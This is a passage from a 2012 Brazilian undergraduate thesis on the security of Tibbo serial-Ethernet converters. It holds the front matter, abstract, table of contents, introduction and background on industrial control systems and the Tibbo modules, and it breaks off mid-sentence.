TCC PDF

Ildomar Gomes de Carvalho Junior
Análise de Segurança de Conversores Serial-Ethernet e

Microcontroladores Tibbo
Joinville
2012

Relatório Final de Trabalho de Conclusão de Curso

(TCC) apresentado ao Curso de Graduação em
Ciência da Computação, da Universidade do Es-
tado de Santa Catarina (UDESC), como requisito
parcial da disciplina de Trabalho de Conclusão de
Curso.
Orientador: Rafael Rodrigues Obelheiro

Doutor
Joinville
2012

Relatório Final de Trabalho de Conclusão de Curso

(TCC) apresentado ao Curso de Ciência da Com-
putação da UDESC, como requisito parcial para a
obtenção do grau de BACHAREL em Ciência da
Computação.
Aprovado em
BANCA EXAMINADORA
Rafael Rodrigues Obelheiro

Doutor
Maurício Aronne Pillon

Doutor
Guilherme Koslovski
Doutor
"It seems you’ve forgotten my very first
lesson, Doctor. When you open your
mind to the impossible, sometimes you
find the truth."
Walter Bishop
Agradecimentos
Agradeço primeiramente aos meus pais, não apenas pelo que fizeram e sacrificaram
por mim durante minha graduação, mas porque absolutamente tudo o que consegui até
hoje na minha vida foi por causa de vocês. Vocês me deram força e foram minha inspiração
até agora, e continuarão a ser por toda a minha vida.
Agradeço ao meu orientador Rafael Rodrigues Obelheiro pela paciência, pelo com-
panheirismo, pelos sábios conselhos e pelos puxões de orelha quando foram necessários.
Em cada e-mail trocado, cada encontro e cada reunião você conseguiu me fazer sentir que
as madrugadas que passei acordado fazendo este trabalho valeram a pena. Não consigo
imaginar um tutor melhor para me guiar durante o desenvolvimento deste trabalho.
Agradeço aos meus avós Angelo Brandalise e Cecília Menezes que sempre me mostra-
ram que a vida é o resultado muito trabalho e muito estudo. Meu único arrependimento
foi não ter concluído esta etapa da minha vida a tempo, para que vocês pudessem ver que
seus incentivos valeram a pena.
Agradeço aos [iTn] por me darem apoio, força e por não me deixar enlouquecer durante
estes anos de graduação. Obrigado por me escutar durante meus momentos de insanidade,
por aturar meus longos desabafos e pelo enorme incentivo que me deram para que eu nunca
desistisse.
Agradeço aos meus colegas de graduação pela ajuda mútua durante este período, em
especial ao Christian Juliano Pereira e a Gabriela Salvador Thumé. Juntos formamos
uma grande equipe e levarei para sempre comigo esse espírito de união e de parceria. Sem
todos vocês, estes anos seriam insuportáveis.
Agradeço ao professor Vilson Vieira por ter me apresentado a computação física.

Graças a você eu pude achar meu caminho na computação.
Agradeço também a todos os outros que fizeram parte desta etapa da minha vida e
que porventura não mencionei aqui. Professores, amigos, família, todos vocês foram peças
deste quebra cabeça bizarro.
Resumo
Microcontroladores e conversores serial-Ethernet são utilizados em sistemas de con-

trole industrial para a comunicação e controle de diversos dispositivos, como uma alter-
nativa de baixo custo a sistemas computacionais microprocessados. Dada a importância
do ambiente em que são aplicados, estes dispositivos devem ser robustos, haja vista o
risco de causar danos em equipamentos e no processo de manufatura de produtos para
as organizações que os utilizam. Além do dano financeiro, o mau funcionamento des-
tes microcontroladores e conversores pode trazer riscos à integridade física de pessoas
que possam estar operando alguma máquina que depende do bom funcionamento deles.
Este trabalho tem por objetivo fazer uma avaliação da segurança da pilha TCP/IP do
microcontrolador e conversor serial-Ethernet EM1206 fabricado pela Tibbo, por meio de
técnicas de injeção de faltas através da rede.
Palavras-chave: Injeção de Falhas; Injeção de Ataques; Módulos Embarcados; Conver-

sor Serial-Ethernet; Microcontroladores; Teste de Segurança; Tolerância a Falhas, Tibbo,
EM1206.
Abstract
Microcontrollers and serial-to-Ethernet converters are used in industrial control sys-

tems for communication and control of various devices, as a low cost alternative to
microprocessor-based computer systems. Given the importance of the environment in
which they are applied, these devices must be robust, given the risk of damage to equip-
ments and to the manufacturing process of products for the organizations that use them.
Besides the financial damage, malfunctioning of these microcontrollers and converters can
bring risks to the physical integrity of people who may be operating a machine that de-
pends on the proper functioning of them. This project aims to evaluate the security of
the TCP/IP stack of the microcontroller and serial-to-Ethernet converter EM1206 manu-
factured by Tibbo, through fault injection techniques through the network.
Keywords: Fault Injection; Attack Injection; Embedded Modules; Serial-Ethernet Con-

versor; Microcontrollers; Security Test; Fault Toleration, Tibbo, EM1206.
Sumário
1 Introdução 8
1.1 Organização do texto . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
2 Sistemas de Controle Industrial 11
2.1 Operação de um Sistema de Controle Industrial . . . . . . . . . . . . . . . 11
2.2 Componentes Chave de um SCI . . . . . . . . . . . . . . . . . . . . . . . . 13
2.2.1 Componentes de Controle . . . . . . . . . . . . . . . . . . . . . . . 13
2.2.2 Componentes de Rede . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.3 Sistemas SCADA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
2.4 Sistemas de Controle Distribuídos (SCD) . . . . . . . . . . . . . . . . . . . 16
2.5 Módulos Embarcados Tibbo . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.5.1 Microcontroladores . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.5.2 Conversores Serial-Ethernet . . . . . . . . . . . . . . . . . . . . . . 20
3 Análise de Segurança de Implementações TCP/IP 23
3.1 Conceitos Básicos de Injeção de Faltas . . . . . . . . . . . . . . . . . . . . 23
3.2 Metodologia Para Teste de Robustez da Pilha TCP/IP . . . . . . . . . . . 24
3.3 Reconhecimento . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
3.3.1 Identificação de Sistema Operacional . . . . . . . . . . . . . . . . . 25
3.3.2 Varredura da pilha TCP/IP . . . . . . . . . . . . . . . . . . . . . . 27
3.3.2.1 Varredura TCP . . . . . . . . . . . . . . . . . . . . . . . . 28
3.3.2.2 Varredura UDP . . . . . . . . . . . . . . . . . . . . . . . . 30

3.4 Análise da Aleatoriedade do ISN . . . . . . . . . . . . . . . . . . . . . . . 32
3.5 Pacotes Malformados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
3.5.1 Cabeçalho IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
3.5.2 Cabeçalho TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
3.5.3 Cabeçalho UDP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
3.5.4 Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
3.5.4.1 Fuzzing de Protocolos de Base . . . . . . . . . . . . . . . . 38
3.5.4.2 HTTP Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . 38
3.6 Inundação de Pacotes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.7 Ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
3.7.1 Nmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
3.7.2 Nessus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.7.3 Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.7.4 IP Stack Integrity Checker . . . . . . . . . . . . . . . . . . . . . . . 42
3.7.5 BED . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
3.7.6 Scapy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
4 Resultados 44
4.1 Visão Geral . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
4.2 Ambiente de testes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
4.3 Ethernet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
4.4 IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
4.5 UDP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
4.6 TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
4.6.1 Flooding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
4.6.2 Aleatoriedade Fraca do Número Inicial de Sequência . . . . . . . . . 52

4.6.3 Reset Spoofing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
4.7 HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
4.7.1 Autocompletar Senha . . . . . . . . . . . . . . . . . . . . . . . . . . 56
4.7.2 Flooding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
4.7.3 Roubo de Cookie . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
4.7.4 Transmissão de Senha Não Criptografada . . . . . . . . . . . . . . . 61
4.7.4.1 Página Web . . . . . . . . . . . . . . . . . . . . . . . . . . 61
4.7.4.2 Telnet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
4.7.4.3 DS Manager . . . . . . . . . . . . . . . . . . . . . . . . . . 63
4.8 Discussão dos Resultados . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
5 Conclusão 68
5.1 Sugestão de Trabalhos Futuros . . . . . . . . . . . . . . . . . . . . . . . . . 69
A Apêndice 71
A.1 Relatório do Nessus - Etherleak . . . . . . . . . . . . . . . . . . . . . . . . 72
A.2 Relatório do Nessus - Número de Sequência Inicial . . . . . . . . . . . . . . 74
A.3 Relatório do Nessus - Reset Spoofing . . . . . . . . . . . . . . . . . . . . . 76
A.4 Relatório do Nessus - Autocompletar Senha . . . . . . . . . . . . . . . . . 78
A.5 Código Fonte - Teste do Gerador de ISN . . . . . . . . . . . . . . . . . . . 79
A.6 Código Fonte - Reset Spoofing . . . . . . . . . . . . . . . . . . . . . . . . . 80
A.7 Código Fonte - Rouba Cookie, lado cliente . . . . . . . . . . . . . . . . . . 81
A.8 Código Fonte - Rouba Cookie, lado servidor . . . . . . . . . . . . . . . . . 83
Referências Bibliográficas 86
8
1 Introdução
Apesar de a comunicação via porta serial estar quase extinta nos atuais desktops e
notebooks (SALES, 2009), ela ainda é muito utilizada no meio industrial (CHEN; JIANG,
2009), como por exemplo em servomotores, módulos biométricos e sensores RFID (Radio
Frequency Identification). A conversão do sinal serial para Ethernet estende recursos,
facilitando a administração, monitoramento, comunicação e organização física e virtual de
dispositivos e máquinas que utilizam este meio de comunicação, o que acabou integrando
este dispositivo às indústrias (TIBBO, 2012b).
Um microcontrolador é um dispositivo que contém processador, memória e dispositi-

vos de entrada e saída, tudo em um único chip. Embora sejam menos poderosos do que
sistemas computacionais microprocessados, os microcontroladores apresentam cada vez
mais recursos, aliados a um baixo custo de aquisição. Microcontroladores são utilizados
em automação residencial, como por exemplo em controle de sistemas de iluminação, cli-
matização e de multimídia, e também em automação industrial para controle de motores,
controle de acesso, monitoramento de equipamentos, automobilística e robótica industrial,
por exemplo (BRUDNA, 2000).
Diante do extenso uso e evolução da automação, temos que assegurar o nível de

qualidade dos equipamentos que utilizamos. O mau funcionamento pode causar defeito
na fabricação de produtos ou mesmo danos e até a perda completa de máquinas que são
operadas ou controladas por meio destes, o que pode implicar grande prejuízo financeiro
e risco à integridade física de funcionários que as operam ou que trabalham no mesmo
ambiente delas.
No caso de dispositivos conectados à Intranet de uma corporação ou à Internet, gran-

des empresas vem sofrendo com outro problema: ataques virtuais (BAUER et al., 2008).
Seja para espionagem industrial ou para danificar intencionalmente equipamentos, na cor-
rida pelo dinheiro, empresas de grande porte sofrem com esse tipo de ataque, os quais
visam o prejuízo da corporação.
Segundo pesquisa da Symantec, ataques virtuais causaram prejuízos de R$ 3,3 milhões

às empresas, em média, no ano de 2010 (ONLINE, 2010), em escala mundial. No Brasil o
1 Introdução 9
prejuízo chegou à casa de R$ 500 mil por empresa (PEREIRA, 2010). O mais alarmante
é o fato de que não são necessários equipamentos altamente sofisticados de grande custo;
tudo o que o atacante necessita é de um computador, conhecimento sobre a empresa e
sobre os protocolos de rede que ele deseja atacar, conhecimento que na maioria das vezes
está disponível para todos por intermédio da Internet.
Como o número de empresas que utilizam comunicação em rede e a Internet para

facilitar e melhorar o trabalho de seus funcionários vem crescendo (BRIZZI, 2009), ata-
cantes estudam brechas na segurança de equipamentos para poder penetrar nos sistemas
causando danos.
Aplicando este risco aos conversores e microcontroladores, caso uma brecha na segu-
rança dos equipamentos seja encontrada, o atacante poderia acabar tomando controle dos
dispositivos, alterando mensagens e comandos que são enviados por intermédio destes.
Ele também poderia utilizá-los para roubar informações que passam por eles ou mesmo
impedir o funcionamento dos módulos e conversores, desativando-os remotamente.
Estas falhas são perigosas, se considerarmos que muitas vezes esses dispositivos estão
inseridos em sistemas que deveriam ser à prova de erros. Por exemplo, em um sistema de
controle de acesso, a invasão a um conversor ou microcontrolador poderia fornecer acesso
indevido a uma pessoa não autorizada, roubo de informações sobre acesso a um setor
ou travamento do sistema, causando a negação do acesso a todos. Em um servomotor
conectado a um destes dispositivos usados, o atacante poderia usar brechas de segurança
para alterar os parâmetros de configuração, enviar comandos não autorizados ou causar
o travamento do servomotor. Visto que este tipo de motor é inserido em máquinas que
necessitam de alta precisão como máquinas de controle numérico computadorizado (CNC),
guilhotinas e prensas, erros e falhas podem levar à perda do produto fabricado, da máquina
na qual ele está inserido ou até oferecer riscos à integridade física de quem a opera.
Levando em conta os aspectos considerados sobre a importância de operar um equipa-

mento seguro, este trabalho de conclusão de curso visa analisar a robustês do dispositivo
estudado, buscando vulnerabilidades que tenham o potencial de violar as propriedades de
segurança, a saber, integridade, confidencialidade e disponibilidade (ISO/IEC, 2008), por
meio de injeção de ataques.
A injeção de ataques é realizada por meio de envio de pacotes de dados especialmente

criados de acordo com vulnerabilidades já conhecidas ou por pacotes de dados criados
1.1 Organização do texto 10
automaticamente, visando buscar outras não conhecidas anteriormente. Uma vez que
uma vulnerabilidade é atingida, ela manifesta-se e então podemos detectá-la (ANTUNES
et al., 2004).
Para este trabalho foi desenvolvida uma pesquisa sobre as principais técnicas de in-
jeção de ataques e das ferramentas disponíveis na Internet que melhor se adequarem ao
equipamento escolhido para testes, a saber, o módulo embarcado EM1206 fabricado pela
Tibbo. O motivo da escolha deste módulo é que a empresa Neoyama1 de Joinville, Santa
Catarina, o fornecerá para este trabalho.
1.1 Organização do texto
No capítulo 2 é dada uma introdução sobre sistemas de controle industrial, descre-

vendo sistemas de supervisão e aquisição de dados (SCADA) e sistemas de controle dis-
tribuídos para que o leitor possa ter um contexto de onde os módulos embarcados da
Tibbo estão inseridos na indústria, assim como uma breve descrição das características
de dispositivos Tibbo que são releventes a este trabalho.
No capítulo 3 é feita uma introdução sobre injeção de falhas e ataques, técnica utilizada
neste trabalho para descobrir vulnerabilidades no módulo Tibbo. Ainda neste capítulo é
feita uma descrição sobre técnicas de identificação de sistema operacional, varredura de
portas TCP/IP, ataques explorando pacotes malformados, ataques utilizando exaustão de
recursos e as ferramentas utilizadas para executar estas técnicas.
No capítulo 4 são descritos os testes realizados no módulo EM1206 e os resultados

obtidos, divididos de acordo com o protocolo da pilha TCP/IP testado.
Por fim, no capítulo 5 são apresentadas as conclusões obtidas através deste trabalho.
1
http://www.neoyama.com.br
11
2 Sistemas de Controle Industrial

Sistema de Controle Industrial é um termo geral que engloba diversos tipos de sistemas
computacionais, os quais são utilizados para automatizar processos industriais (MELTON
et al., 2004). Dependendo da aplicação na qual estão sendo usados, eles podem ser
chamados de Sistemas de Supervisão e Aquisição de Dados (Supervisory Control And
Data Acquisition, ou Sistemas SCADA) ou de Sistemas de Controle Distribuídos (SCD)
(HART, 2004).
SCIs são usados em vários setores da indústria, como produção e distribuição de

energia elétrica, fornecimento e tratamento de água, produção e distribuição de petróleo e
combustíveis e na telecomunicação (RALSTON et al., 2007), onde é necessário o constante
monitoramento de dados através de sensores e correção ou alteração dos processos em
execução através de seus atuadores.
Devido às suas características serem bem diferentes dos computadores tradicionais,

antes de ser iniciada uma discussão sobre a segurança destes equipamentos, temos que
entender como eles funcionam e como os microcontroladores e conversores serial-Ethernet
da Tibbo encaixam-se nesta categoria de sistema computacional. Este capítulo descreve
a operação típica de um SCI, dá uma visão geral sobre sistemas SCADA e SCD, e mostra
como os módulos da Tibbo enquadram-se neste tipo de sistema.
2.1 Operação de um Sistema de Controle Industrial
Apesar de existirem inúmeras variantes de sistemas de controle industrial, todos se-

guem basicamente o mesmo fluxo, exemplificado pela figura 2.1. Os principais componen-
tes de um sistema são os seguintes:
Processos: Conjunto de tarefas de um sistema que transformam matérias-primas em

produtos ou serviços.
Atuadores: São dispositivos responsáveis por modificar os processos de um sistema no

qual eles estão inseridos, em resposta a comandos enviados manualmente ou auto-
2.1 Operação de um Sistema de Controle Industrial 12
maticamente (NIGRO; DOMINGUES, 2010).
Sensores: São dispositivos que recebem estímulos do meio no qual estão inseridos e os
convertem em sinais elétricos que são utilizados para monitorar o estado de um
determinado processo (FUENTES, 2005).
Controlador: O controlador monitora os sensores e armazena os dados recebidos por

estes, processa as informações recebidas e responde, se for o caso, ativando atuadores
do sistema, os quais podem ser válvulas, switches ou motores, por exemplo. Após
todo este processo ele recebe novos sinais dos sensores e faz todos estes passos
novamente, fechando um laço de controle. Além disso, de acordo com as informações
recebidas pelo controlador, dados são trocados entre ele, a IHM e os softwares de
diagnóstico e manutenção (STOUFFER et al., 2007).
Interface Homem-Máquina (IHM): É utilizada pelos operadores do sistema para

monitorar o estado dos processos, interagir com os controladores, fornecer um log de
informações sobre todo o sistema, configurar set points e efetuar controles manuais
em casos de emergência (MELTON et al., 2004). Traduzindo literalmente, um set
point é um ponto de chegada, e este ponto pode ser um objetivo que deve ser
alcançado ou um estado crítico do sistema que deve ser tratado.
Diagnóstico e Manutenção: São softwares que permitem aos operadores monitorar e

alterar propriedades de controladores, atuadores e sensores. Na maioria das vezes é
possível utilizá-los remotamente, através da Internet (FALCO, 2002).
Um SCI completo pode conter não apenas um, mas sim vários elementos de cada
tipo que se comunicam através de diversos protocolos de rede. Um sistema central de
monitoramento, o qual será descrito na seção 2.2.1, é o responsável por monitorar várias
vezes estes dispositivos durante o processo fabril (FALCO, 2002).
2.2 Componentes Chave de um SCI 13
Figura 2.1: Fluxo de operação básico de um SCI.
Fonte: Adaptado de (HART, 2004).
2.2 Componentes Chave de um SCI
Além do fluxo de operação de um SCI, é necessário descrever os componentes que

formam um sistema SCADA e um SCD. Esta seção trata dos componentes de controle e
de rede de um SCI.
2.2.1 Componentes de Controle
Componentes de controle são hardwares que têm por objetivo executar as várias tare-
fas responsáveis por produzir o processo do sistema. Alguns dos principais componentes
de controle de um SCI são:
Sistema Central de Monitoramento (SCM): Tem a função de coletar dados prove-

nientes das estações remotas, de acordo com os eventos que acontecem nelas, e,
a partir destes dados, tomar as ações corretas para o funcionamento do sistema
2.2 Componentes Chave de um SCI 14
(FALCO, 2002).
Unidade Terminal Remota (UTR): É uma estação remota que tem a função de con-
trolar sensores e atuadores. Pode ser utilizada pelos operadores do sistema para
realizar operações de diagnóstico e reparo no sistema (FALCO, 2002).
Dispositivos Eletrônicos Inteligentes: Um dispositivo eletrônico inteligente é um

sensor/atuador que contém a inteligência para adquirir dados, comunicar-se com
outros dispositivos e realizar controle e processamento local. Ele pode combinar
entradas e saídas analógicas, um sistema de comunicação e memória em um único
dispositivo. São utilizados em SCD e SCADA para controle automático (STOUF-
FER et al., 2007).
Controlador Lógico Programável (CLP): Controladores Lógicos Programáveis ou

CLPs são responsáveis por prover o gerenciamento local de processos através de
seus sensores e atuadores. São sistemas computacionais desenvolvidos para realizar
funções lógicas, que são executadas por hardwares como relés e switches de luz, por
exemplo. Ainda, podem implementar funções como cálculos aritméticos, controle
de portas de entrada e saída e processamento de dados e arquivos (STOUFFER et
al., 2007).
Outro componente de controle importante é a Interface Homem-Máquina (IHM), já

apresentada na seção 2.1.
2.2.2 Componentes de Rede
Componentes de rede são os hardwares responsáveis pela rede de comunicação en-

tre os componentes do sistema, assim como os protocolos utilizados para realizar esta
comunicação. Alguns dos principais componentes de rede são:
Rede Industrial: Conecta sensores e outros dispositivos a um CLP ou aos controladores

do sistema. O uso deste tipo de tecnologia elimina a necessidade de uma ligação
ponto-a-ponto entre o controlador e cada dispositivo e permite que um protocolo
previamente definido identifique e comunique os controladores com cada sensor ou
atuador (FALCO, 2002).
2.3 Sistemas SCADA 15
Rede de Controle: Conecta o sistema central de monitoramento às estações remotas.
(STOUFFER et al., 2007).
Roteador: Um roteador é um dispositivo de comunicação que transmite mensagens entre

duas redes distintas. No caso de SCD, podem ser utilizados para conectar redes de
área local (LAN - Local Area Network ) a redes de longa distância (WAN - Wide
Area Network ) ou conectar duas redes LAN distintas, e no caso de sistemas SCADA,
podem conectar o SCM e UTRs em redes à distância (STOUFFER et al., 2007).
Modem: Equipamento que possibilita que um sistema computacional se comunique por

uma linha telefônica (FALCO, 2002). No caso de sistemas SCADA, é utilizado para
permitir comunicações a longa distância entre SCM e dispositivos remotos. Também
pode ser utilizado em SCDs e CLPs para obter acesso remoto a funções operacio-
nais e de manutenção, como execução de comandos, modificação de configurações e
diagnósticos (STOUFFER et al., 2007)
2.3 Sistemas SCADA
Sistemas SCADA são utilizados onde é necessário centralizar os dados de dispositivos

que encontram-se distantes geograficamente. Visto que estas informações terão de ser
transmitidos através da Internet ou de uma rede privada, a preocupação com a segurança
destes dados é grande (HART, 2004).
Sistemas SCADA desempenham funções vitais em infraestruturas críticas, como dis-

tribuição de energia elétrica, distribuição de petróleo e combustível, e sistemas de trans-
porte. A falha destes sistemas de controle pode ter um impacto significativo na saúde
pública e na segurança, além de grandes perdas econômicas (CÁRDENAS et al., 2008).
O sistema é composto por hardware e software, fazendo parte do hardware um SCM

que encontra-se no centro de controle, UTRs e CLPs que controlam sensores e atuadores,
e equipamentos de comunicação que interligam SCM, UTRs e CLPs.
O SCM armazena e processa as informações que vêm dos UTRs e CLPs, e responde
a eles de acordo com estes dados processados. Os UTRs e CLPs então controlam os
processos localmente, de acordo com a ordem recebida do SCM (HART, 2004).
Além de obedecer ao controle feito pelo SCM, sensores e atuadores podem tomar
2.4 Sistemas de Controle Distribuídos (SCD) 16
decisões por si próprios, através de dispositivos eletrônicos inteligentes. Isso é importante
em sistemas onde o tempo de resposta é um fator crítico, visto que em sistemas distribuídos
podem ocorrer atrasos na transmissão de dados e até mesmo perda de comunicação.
O foco de um SCADA é prover um monitoramento centralizado de dispositivos e pro-

cessos, além do controle destes. O sistema é projetado para coletar informações de campo,
enviar estas informações para um computador central e exibir estas informações para os
operadores dos equipamentos através de uma IHM, permitindo a eles controlar e monito-
rar o sistema inteiro a partir de um computador central, em tempo real (STOUFFER et
al., 2007).
Um exemplo de sistema SCADA é demonstrado pela figura 2.2.
Figura 2.2: Exemplo de um sistema SCADA.
Fonte: adaptado de (STOUFFER et al., 2007).
2.4 Sistemas de Controle Distribuídos (SCD)
SCDs são utilizados para controlar sistemas de produção que comunicam-se por meio
de uma rede local (HART, 2004) como refinarias de óleo, estações de geração de energia
elétrica e estações de tratamento de esgoto.
O funcionamento destes sistemas varia de acordo com a aplicação, porém basicamente

ocorre da seguinte maneira: o SCM requisita dados dos controladores que encontram-se
distribuídos através da rede, os quais fornecem estas informações através do retorno das
informações de seus sensores. Estes dados são então processados e transformados em
comandos, enviados novamente aos controladores que os utilizam para controlar seus pro-
cessos, através de seus atuadores. Existem diferentes tipos de controladores utilizados
2.5 Módulos Embarcados Tibbo 17
nos SCI, incluindo CLPs, controladores de máquinas e controladores de processos, de-
pendendo da aplicação em que são utilizados (FALCO, 2002). É importante destacar
também que o SCM funciona em laço, ou seja, os passos descritos acima são executados
várias vezes durante todo o processo de produção.
Um exemplo de um Sistema de Controle Distribuído é demonstrado pela figura 2.3.
Figura 2.3: Exemplo de um SCD.
Fonte: Adaptado de (LEWIS; LEWIS, 2001).
2.5 Módulos Embarcados Tibbo
Os principais módulos embarcados da Tibbo são os EM203, EM500 e EM1206, mos-

trados na figura 2.4. Todos eles podem funcionar tanto como microcontroladores pro-
gramáveis quanto como conversores serial-Ethernet, tudo depende de qual firmware for
carregada no dispositivo, pois é a firmware, não o hardware que dá a maioria das funcio-
nalidades aos módulos (TIBBO, 2012c). Dentre estes dispositivos, foi escolhido o EM1206
para efetuar os testes.
Esta seção é dedicada a explicar as características das firmware que dão a capacidade
dos módulos serem microcontroladores programáveis ou conversores serial-Ethernet, as
características específicas de cada módulo que são relevantes ao trabalho e os motivos de
o EM1206 ser escolhido.
Figura 2.4: Módulos Embarcados da Tibbo
(a) Módulo Embarcado Tibbo (b) Módulo (c) Módulo Embarcado Tibbo
EM203 Embarcado EM1206
Tibbo EM500
Fonte: (TIBBO, 2012a).
2.5.1 Microcontroladores
Os módulos embarcados da Tibbo possuem uma porta Ethernet 10/100BaseT e uma

porta serial CMOS em nível TTL com os pinos de TX, RX, RTS, CTS, DTR e DSR
(TIBBO, 2012d). Ainda possuem um número variável de portas de entrada e saída, que
muda de acordo com o módulo escolhido. Estas portas podem ser utilizadas para receber
informações de sensores ou enviar dados a atuadores de um sistema.
Quando carregados com a firmware que os coloca em modo de microcontroladores, os

módulos embarcados da Tibbo são programáveis na linguagem Tibbo BASIC. Ela é uma
variante da linguagem BASIC desenvolvida pela Tibbo, sendo uma linguagem orientada
a objetos e dirigida a eventos (TIBBO, 2012e).
Para armazenar os códigos criados pelo usuário, os módulos possuem uma memó-
ria não volátil tipo flash, e para armazenar suas configurações permanentes, como por
exemplo o endereço MAC, os módulos possuem uma memória não volátil do tipo EE-
PROM (TIBBO, 2012f). Assim como o número de portas de E/S, o tamanho destas duas
memórias varia de acordo com cada módulo.
Os módulos ainda possuem internamente um pequeno servidor web, o que lhes permite
hospedar pequenas páginas HTML e criar e manter sessões HTTP (TIBBO, 2012f). Estas
páginas podem ser criadas para monitoramento do estado dos dispositivos e também para
enviar comandos e dados aos módulos, e funcionam como IHMs dedicadas para aquele
módulo.
EM203 EM500 EM1206
Portas E/S 4 8 17
Memória flash Não informado 512 KB 1024 KB
Memória EEPROM Não informado 200 bytes 2 KB
Servidor WEB Sim Sim Sim
Comunicação Wi-fi Não Sim Sim
LCD e Teclado Não Não Sim
Tabela 2.1: Características dos módulos Tibbo usados neste trabalho
Nem todas as características são comuns a todos os módulos. Além da comunicação

via serial e Ethernet, através da adição do módulo GA1000 (figura 2.5), também fabricado
pela Tibbo, alguns módulos possuem comunicação Wi-Fi, o que fornece rede sem fio para
o dispositivo quando em modo programável. Ainda, outros dispositivos suportam o uso
de displays LCD e teclado, que, assim como o servidor web, podem ser programados para
funcionar como uma IHM.
Figura 2.5: Módulo Wi-fi GA1000, fabricado pela Tibbo
Fonte: (TIBBO, 2012a).
A tabela 2.1 resume as características dos módulos Tibbo mencionados neste trabalho.
Conforme pode ser observado através dela, o EM1206 é superior em todas as características
quando comparado com os módulos EM203 e EM500. Por este motivo ele foi escolhido
para o desenvolvimento deste trabalho.
2.5.2 Conversores Serial-Ethernet
Dispositivos como CLPs, sensores RFID ou sensores biométricos são alguns equipa-
mentos que podem ser utilizados em sistemas SCADA ou DCS. Estes equipamentos, entre
outros não mencionados aqui, normalmente possuem comunicação serial, mas em sistemas
SCADA/DCS geralmente se baseiam em protocolos de rede, como Ethernet. Então, como
obter uma comunicação via rede a estes dispositivos? Uma resposta pode ser a utilização
de conversores serial-Ethernet como os fornecidos pela Tibbo. É por isso que é importante
conhecer o nível de segurança destes módulos, para que seja possível tomar medidas de
segurança quanto às limitações do equipamento.
Quando carregados com a firmware conversora, os módulos da Tibbo funcionam como

um conversor de comunicação serial para Ethernet. Os conversores possuem um buffer
para enfileiramento de dados de 8KB tanto do lado serial quanto do lado Ethernet. A
transmissão dos dados é feita quando o buffer contém dados suficientes para preencher
um pacote TCP ou UDP, ou quando o intervalo entre os dados que chegam é maior do
que o timeout do dispositivo.
Os principais protocolos suportados pelos conversores serial-Ethernet da Tibbo são:
Internet Protocol (IP): Protocolo da camada de rede utilizado para transmitir pacotes
de um dispositivo na rede (rementente) a outro dispositivo na rede (destinatário)
(KUROSE; ROSS, 2006).
User Datagram Protocol (UDP): Protocolo da camada de transporte utilizado pelo

conversor para fazer a transferência de dados através de uma rede Ethernet. Devido
as características do UDP, ele fornece uma transferência mais rápida dos dados, a
desvantagem é que não há garantia de entrega dos dados (KUROSE; ROSS, 2006).
Transmission Control Protocol (TCP): Protocolo da camada de transporte utili-

zado pelo conversor para fazer a transferência de dados através de uma rede Ethernet.
Devido as características do TCP, há uma segurança maior quanto a transferência
dos dados, a desvantagem é que a entrega dos dados é mais lenta, devido as verifi-
cações que ele faz para garantir esta entrega (KUROSE; ROSS, 2006).
Internet Control Message Protocol (ICMP): Protocolo da camada de rede que

serve para fornecer relatórios de erros sobre a comunicação com o conversor co-
nectado na rede (POSTEL, 1981a).
Também é usado o protocolo Address Resolution Protocol (ARP) (STEVENS, 1994),

para tradução de endereços IP em endereços MAC. A configuração dos parâmetros de rede
pode ser manual ou dinâmica, usando protocolos como DHCP (DROMS, 1997), PPPoE
(MAMAKOS et al., 1999) e PPP/LCP (SIMPSON, 1994).
Aplicações de rede tipicamente adotam a arquitetura cliente-servidor. O cliente é o

componente que conecta-se a um servidor, requisita e/ou envia dados e pode encerrar a
conexão (COULOURIS et al., 2005). O servidor, por sua vez, é responsável por aceitar
conexões vindas de outros dispositivos e atender às requisições dos clientes conectados
(COULOURIS et al., 2005). Segundo (TIBBO, 2008f), os conversores serial-Ethernet
podem funcionar em três modos: cliente, servidor e cliente ou servidor, conforme descrito
abaixo:
Cliente: Quando neste modo, o módulo rejeita qualquer conexão de entrada, permitindo
apenas conexão de saída. Isto quer dizer que o módulo se conecta a outro dispositivo
através de um IP e uma porta pré-definidos pelo desenvolvedor.
Servidor: Quando neste modo, o módulo nunca tenta se conectar, ele apenas aceita
conexões vindas de outros dispositivos. O desenvolvedor pode aceitar conexões
vindas de qualquer dispositivo ou escolher qual IP pode se conectar ao Tibbo e por
qual porta eles irão comunicar-se, através das opções do módulo embarcado.
Cliente OU Servidor: Se usado neste modo, primeiramente o módulo embarcado as-

